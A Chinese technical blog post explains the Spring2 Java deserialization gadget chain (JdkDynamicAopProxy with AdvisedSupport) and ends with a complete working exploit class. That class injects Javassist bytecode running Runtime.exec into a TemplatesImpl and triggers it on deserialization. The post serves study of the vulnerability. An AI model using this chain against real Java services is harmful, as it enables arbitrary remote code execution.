当前位置: 首页 > news >正文

【Web】浅聊Java反序列化之Spring2链——两层动态代理

目录

简介

简话JdkDynamicAopProxy

关于target的出身——AdvisedSupport

EXP


请确保已阅读过前文或对Spring1链至少有一定认知:【Web】浅聊Java反序列化之Spring1链——三层动态代理-CSDN博客

简介

Spring2 和 Spring1 的反序列化过程基本相同,唯一不同的在于把spring-beans的ObjectFactoryDelegatingInvocationHandler换成了spring-aop的JdkDynamicAopProxy

org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了 AopProxy 接口。

个人觉得Spring2较Spring1更快刀斩乱麻,思路更清晰,构造更干净(毕竟只用了两层代理

简话JdkDynamicAopProxy

①JdkDynamicAopProxy实现了AopProxy, InvocationHandler, Serializable三个接口

所以我们要清楚地认知,其本质也是handler,用作构造动态代理类

final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable

②其构造方法接收一个AdvisedSupport类型的参数config,并赋值给advised

public JdkDynamicAopProxy(AdvisedSupport config) throws AopConfigException {Assert.notNull(config, "AdvisedSupport must not be null");if (config.getAdvisors().length == 0 && config.getTargetSource() == AdvisedSupport.EMPTY_TARGET_SOURCE) {throw new AopConfigException("No advisors and no TargetSource specified");} else {this.advised = config;}}

这段代码的作用是根据传入的 AdvisedSupport 对象进行初始化,确保必要的属性不为空。如果属性不满足要求,则抛出异常。否则,将 config 赋值给类的成员变量 advised,完成初始化操作。

③JdkDynamicAopProxy#invoke

 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {Object oldProxy = null;boolean setProxyContext = false;TargetSource targetSource = this.advised.targetSource;Class<?> targetClass = null;Object target = null;Integer var10;try {if (!this.equalsDefined && AopUtils.isEqualsMethod(method)) {Boolean var18 = this.equals(args[0]);return var18;}if (this.hashCodeDefined || !AopUtils.isHashCodeMethod(method)) {Object retVal;if (!this.advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) {retVal = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);return retVal;}if (this.advised.exposeProxy) {oldProxy = AopContext.setCurrentProxy(proxy);setProxyContext = true;}target = targetSource.getTarget();if (target != null) {targetClass = target.getClass();}List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);if (chain.isEmpty()) {retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);} else {MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);retVal = invocation.proceed();}Class<?> returnType = method.getReturnType();if (retVal != null && retVal == target && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {retVal = proxy;} else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);}Object var13 = retVal;return var13;}var10 = this.hashCode();} finally {if (target != null && !targetSource.isStatic()) {targetSource.releaseTarget(target);}if (setProxyContext) {AopContext.setCurrentProxy(oldProxy);}}return var10;}

先是获取advised 里的 TargetSource存进targetSource里,并调用 getTarget() 方法返回其中的对象存进target里。(我知道你想问什么,后面会讲的)

接着再调用AopUtils.invokeJoinpointUsingReflection(target, method, args)

 public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args) throws Throwable {try {ReflectionUtils.makeAccessible(method);return method.invoke(target, args);}

这段代码的作用是通过反射机制调用目标对象的指定方法,并传入相应的参数,实现了对目标对象方法的动态调用

总结一下就是:JdkDynamicAopProxy将方法调用委托给了AdvisedSupport的target成员。

而方法名是我们可控的(从MethodInvokeTypeProvider传入),那我们只要让target成员为恶意TemplatesImpl,并把方法名设置为newTransformer就可调用TemplatesImpl#newTransformer,这样就免去了三层代理的繁琐。

关于target的出身——AdvisedSupport

现在的问题来到了,如何让target成员为恶意TemplatesImpl?

我们知道target来源自this.advised.targetSource.getTarget(),而advised是一个 AdvisedSupport类

看下AdvisedSupport类的构造方法

public AdvisedSupport() {this.targetSource = EMPTY_TARGET_SOURCE;this.preFiltered = false;this.advisorChainFactory = new DefaultAdvisorChainFactory();this.interfaces = new ArrayList();this.advisors = new LinkedList();this.advisorArray = new Advisor[0];this.initMethodCache();}

 this.advised.targetSource是个TargetSource接口的实现,但没有对getTarget进行重写

public interface TargetSource extends TargetClassAware {Class<?> getTargetClass();boolean isStatic();Object getTarget() throws Exception;void releaseTarget(Object var1) throws Exception;
}

如果猜测getTarget是个getter方法,从对称的角度,我们不难想到可以用setTarget来放入恶意TemplatesImpl,但出于严谨还是得跟一下具体调用

public void setTarget(Object target) {this.setTargetSource(new SingletonTargetSource(target));}

跟进setTargetSource

public void setTargetSource(TargetSource targetSource) {this.targetSource = targetSource != null ? targetSource : EMPTY_TARGET_SOURCE;}

经典三目运算,如果传入的 targetSource 不为 null,则设置为传入的 targetSource;如果传入的 targetSourcenull,则设置为默认的 EMPTY_TARGET_SOURCE  

targetSource从哪来?从new SingletonTargetSource(target)来。

 再回头,跟一下SingletonTargetSource,发现就是给this.target赋值为target

public SingletonTargetSource(Object target) {Assert.notNull(target, "Target object must not be null");this.target = target;}

然后new一个SingletonTargetSource对象传入setTargetSource,从而让this.advised.targetSource赋值为我们刚new完的SingletonTargetSource对象,而该对象的target属性就是由我们传入的。

所以this.advised.targetSource.getTarget()得到的就是我们构造时用setTarget传入的target。

EXP

pom依赖

<dependencies><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency><dependency><groupId>org.springframework</groupId><artifactId>spring-aop</artifactId><version>4.1.4.RELEASE</version></dependency></dependencies>

召唤计算器的神奇的咒语

package com.spring;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;public class Spring2 {public static void main(String[] args) throws Exception {TemplatesImpl templates = TemplatesImpl.class.newInstance();setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});setValue(templates, "_name", "1");AdvisedSupport as = new AdvisedSupport();as.setTarget(templates);Class<?> clazz0 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> con0 = clazz0.getDeclaredConstructors()[0];con0.setAccessible(true);InvocationHandler aopInvocationHandler = (InvocationHandler) con0.newInstance(as);Object aopProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopInvocationHandler);HashMap<String, Object> map2 = new HashMap<String, Object>();map2.put("getType", aopProxy);Class<?> clazz2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];con2.setAccessible(true);InvocationHandler invocationHandler2 = (InvocationHandler) con2.newInstance(Override.class, map2);Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")}, invocationHandler2);Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];con3.setAccessible(true);Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);setValue(o, "methodName", "newTransformer");ser(o);}public static void ser(Object o) throws Exception {ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(o);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));ois.readObject();}public static byte[] genPayload(String cmd) throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("a");CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");clazz.addConstructor(constructor);clazz.getClassFile().setMajorVersion(49);return clazz.toBytecode();}public static void setValue(Object obj, String name, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}}

相关文章:

【Web】浅聊Java反序列化之Spring2链——两层动态代理

目录 简介 简话JdkDynamicAopProxy 关于target的出身——AdvisedSupport EXP 请确保已阅读过前文或对Spring1链至少有一定认知&#xff1a;【Web】浅聊Java反序列化之Spring1链——三层动态代理-CSDN博客 简介 Spring2 和 Spring1 的反序列化过程基本相同&#xff0c;唯一…...

2386. 找出数组的第 K 大和

2386. 找出数组的第 K 大和 题目链接&#xff1a;2386. 找出数组的第 K 大和 代码如下&#xff1a; //优先队列 //参考&#xff1a;https://leetcode.cn/problems/find-the-k-sum-of-an-array/solutions/2668280/zhao-chu-shu-zu-de-di-k-da-he-by-leetcod-z5kq class Soluti…...

Pytorch学习 day10(L1Loss、MSELoss、交叉熵Loss)

Loss loss的作用如下&#xff1a; 计算实际输出和真实值之间的差距为我们更新模型提供一定的依据&#xff08;反向传播&#xff09; L1Loss 绝对值损失函数&#xff1a;在每一个batch_size内&#xff0c;求每个输入x和标签y的差的绝对值&#xff0c;最后返回他们平均值 M…...

2.2 传统经济学在耍赖

传统经济学中&#xff0c;主体的行为决策是研究的重点对幸福的追求不是传统经济学的研究重点&#xff0c;决策才是。在传统经济学那里&#xff0c;只要能搞清楚是什么决定了决策就可以了。 传统经济学用人们对物品的喜好的排序去替代了对幸福的直接度量。这样做有一个好处&…...

【算法面试题】-04

执行时长 def min_execution_time(n, size, tasks):a 0ans sizei 0while i < size:tmp tasks[i]a tmpif a < n:a 0else:a - ni 1ans a // nif a % n ! 0:ans 1return ans# 读取输入 n int(input()) size int(input()) tasks list(map(int, input().split()))…...

力扣hot100:152.乘积最大子数组(动态规划)

一个子数组问题&#xff0c;我们要使用线性dp&#xff0c;最好先考虑以i结尾&#xff0c;如果定义dp[i]为前i个数最大子数组乘积值 那么dp[i-1]就无法转移到dp[i]。因此我们先考虑dp[i]定义为以第i个数结尾的最大子数组乘积值。 53. 最大子数组和 最大子数组和是一个动态规划问…...

【python 】----Pytest基础知识与进阶知识

定义 用于编写和执行Python测试全功能测试框架(工具),是一个第三方库 安装 pip insatll pytest 安装pytest --version 校验 pytest的组成构成 不写调用语句也可以执行函数内容 在用例运行语句里面: -s:指的是开启与终端的交互,如果没有-s(程序不会输入与打印),一条用…...

谷歌开源的LLM大模型 Gemma 简介

相关链接&#xff1a; Hugging face模型下载地址&#xff1a;https://huggingface.co/google/gemma-7bGithub地址&#xff1a;https://github.com/google/gemma_pytorch论文地址&#xff1a;https://storage.googleapis.com/deepmind-media/gemma/gemma-report.pdf官方博客&…...

深入理解 Vuex:从基础到应用场景

前言 在之前的文章中&#xff0c;我们已经对 Vue.js 有了一定的了解。今天我们要对Vue官方的状态共享管理器Vuex进行详细讲解&#xff0c;将其基本吃透&#xff0c;目标是面对大多数业务需求&#xff1b; 一、介绍 Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。它采用…...

自定义 classNames hooks

什么是自定义 hooks 自定义hooks是react提供的编写公共函数的方法 自定hooks 和 通用函数的区别 一定有人会说 hooks 可以使用react 的方法&#xff0c;但是公共函数也可以&#xff0c;因为 jsx 语法的原因 函数必须开头进行大写 其实这些都是 react 的语法规范&#xff…...

玩转centos 下的core 文件

玩转centos 下的core 文件 ------------------------------------------------------------ author: hjjdebug date: 2024年 03月 06日 星期三 12:38:35 CST description: 玩转centos 下的core 文件 ------------------------------------------------------------ 一: 准备一…...

深入浅出计算机网络 day.1 概论③ 电路交换、分组交换和报文交换

人无法同时拥有青春和对青春的感受 —— 04.3.9 内容概述 01.电路交换、分组交换和报文交换 02.三种交换方式的对比 一、电路交换、分组交换和报文交换 1.电路交换 计算机之间的数据传送是突发式的&#xff0c;当使用电路交换来传送计算机数据时&#xff0c;其线路的传输效率一…...

linux:线程的控制

个人主页 &#xff1a; 个人主页 个人专栏 &#xff1a; 《数据结构》 《C语言》《C》《Linux》 文章目录 前言一、线程的总结1. 线程的优点2. 线程的缺点3. 线程异常4.线程和进程 二、线程的控制创建线程线程终止线程等待获取返回值 线程分离 总结 前言 本文作为我对于线程的…...

小程序分账方案:实现商户分账的简便与灵活

随着移动支付的普及和小程序的快速发展&#xff0c;越来越多的商家选择在微信小程序上开展业务。然而&#xff0c;对于一些有多个分账方的商户而言&#xff0c;如何实现快速、准确和灵活的资金分账成为了一个挑战。本文将介绍一种高效的小程序分账方案&#xff0c;帮助商户轻松…...

Python数值微积分,摆脱被高数支配的恐惧

文章目录 差分和累加积分多重积分 Python科学计算&#xff1a;数组&#x1f4af;数据生成 差分和累加 微积分是现代科学最基础的数学工具&#xff0c;但其应用对象往往是连续函数&#xff0c;而其在非连续函数的类比&#xff0c;便是差分与累加。在【numpy】中&#xff0c;可…...

使用express+nginx+pm2+postman实现推送zip包自动更新前端网页

1.nginx配置将80端口代理到项目的3000端口 server {listen 80; #监听的端口server_name localhost; #监听的域名#charset koi8-r;#access_log logs/host.access.log main;location / {#root html;#index index.html index.html;proxy_pass http://127.0.0.1:3000; #转…...

如何在小程序中绑定身份证

在小程序中绑定身份证信息是一项常见的需求&#xff0c;特别是在需要进行实名认证或者身份验证的场景下。通过绑定身份证信息&#xff0c;可以提高用户身份的真实性和安全性&#xff0c;同时也为小程序提供了更多的个性化服务和功能。下面就介绍一下怎么在小程序中绑定居民身份…...

【机器学习】【决策树】分类树|回归树学习笔记总结

决策树算法概述 基本概念 决策树&#xff1a;从根节点开始一步步走到叶子节点&#xff0c;每一步都是决策过程 对于判断的先后顺序把控特别严格 一旦将判断顺序进行变化则最终的结果将可能发生改变 往往将分类效果较佳的判断条件放在前面&#xff0c;即先初略分在进行细节分…...

运维随录实战(14)之docker搭建mysql主从集群(Replication))

1, 从官方景镜像中拉取mysql镜像: docker pull mysql:8.0.24 --platform linux/x86_64 2, 创建master和slave容器: 在创建之前先设置网段 docker network create --subnet=172.20.0.0/24 soil_network master: docker run -d -p 3306:3306 --name mysql-master --net soi…...

CI/CD笔记.Gitlab系列:2024更新后-设置GitLab导入源

CI/CD笔记.Gitlab系列 设置GitLab导入源 - 文章信息 - Author: 李俊才 (jcLee95) Visit me at CSDN: https://jclee95.blog.csdn.netMy WebSite&#xff1a;http://thispage.tech/Email: 291148484163.com. Shenzhen ChinaAddress of this article:https://blog.csdn.net/qq_…...

React hook之useRef

React useRef 详解 useRef 是 React 提供的一个 Hook&#xff0c;用于在函数组件中创建可变的引用对象。它在 React 开发中有多种重要用途&#xff0c;下面我将全面详细地介绍它的特性和用法。 基本概念 1. 创建 ref const refContainer useRef(initialValue);initialValu…...

大型活动交通拥堵治理的视觉算法应用

大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动&#xff08;如演唱会、马拉松赛事、高考中考等&#xff09;期间&#xff0c;城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例&#xff0c;暖城商圈曾因观众集中离场导致周边…...

现代密码学 | 椭圆曲线密码学—附py代码

Elliptic Curve Cryptography 椭圆曲线密码学&#xff08;ECC&#xff09;是一种基于有限域上椭圆曲线数学特性的公钥加密技术。其核心原理涉及椭圆曲线的代数性质、离散对数问题以及有限域上的运算。 椭圆曲线密码学是多种数字签名算法的基础&#xff0c;例如椭圆曲线数字签…...

Module Federation 和 Native Federation 的比较

前言 Module Federation 是 Webpack 5 引入的微前端架构方案&#xff0c;允许不同独立构建的应用在运行时动态共享模块。 Native Federation 是 Angular 官方基于 Module Federation 理念实现的专为 Angular 优化的微前端方案。 概念解析 Module Federation (模块联邦) Modul…...

Java面试专项一-准备篇

一、企业简历筛选规则 一般企业的简历筛选流程&#xff1a;首先由HR先筛选一部分简历后&#xff0c;在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如&#xff1a;Boss直聘&#xff08;招聘方平台&#xff09; 直接按照条件进行筛选 例如&#xff1a…...

GC1808高性能24位立体声音频ADC芯片解析

1. 芯片概述 GC1808是一款24位立体声音频模数转换器&#xff08;ADC&#xff09;&#xff0c;支持8kHz~96kHz采样率&#xff0c;集成Δ-Σ调制器、数字抗混叠滤波器和高通滤波器&#xff0c;适用于高保真音频采集场景。 2. 核心特性 高精度&#xff1a;24位分辨率&#xff0c…...

如何在网页里填写 PDF 表格?

有时候&#xff0c;你可能希望用户能在你的网站上填写 PDF 表单。然而&#xff0c;这件事并不简单&#xff0c;因为 PDF 并不是一种原生的网页格式。虽然浏览器可以显示 PDF 文件&#xff0c;但原生并不支持编辑或填写它们。更糟的是&#xff0c;如果你想收集表单数据&#xff…...

AI,如何重构理解、匹配与决策?

AI 时代&#xff0c;我们如何理解消费&#xff1f; 作者&#xff5c;王彬 封面&#xff5c;Unplash 人们通过信息理解世界。 曾几何时&#xff0c;PC 与移动互联网重塑了人们的购物路径&#xff1a;信息变得唾手可得&#xff0c;商品决策变得高度依赖内容。 但 AI 时代的来…...

10-Oracle 23 ai Vector Search 概述和参数

一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI&#xff0c;使用客户端或是内部自己搭建集成大模型的终端&#xff0c;加速与大型语言模型&#xff08;LLM&#xff09;的结合&#xff0c;同时使用检索增强生成&#xff08;Retrieval Augmented Generation &#…...

智能AI电话机器人系统的识别能力现状与发展水平

一、引言 随着人工智能技术的飞速发展&#xff0c;AI电话机器人系统已经从简单的自动应答工具演变为具备复杂交互能力的智能助手。这类系统结合了语音识别、自然语言处理、情感计算和机器学习等多项前沿技术&#xff0c;在客户服务、营销推广、信息查询等领域发挥着越来越重要…...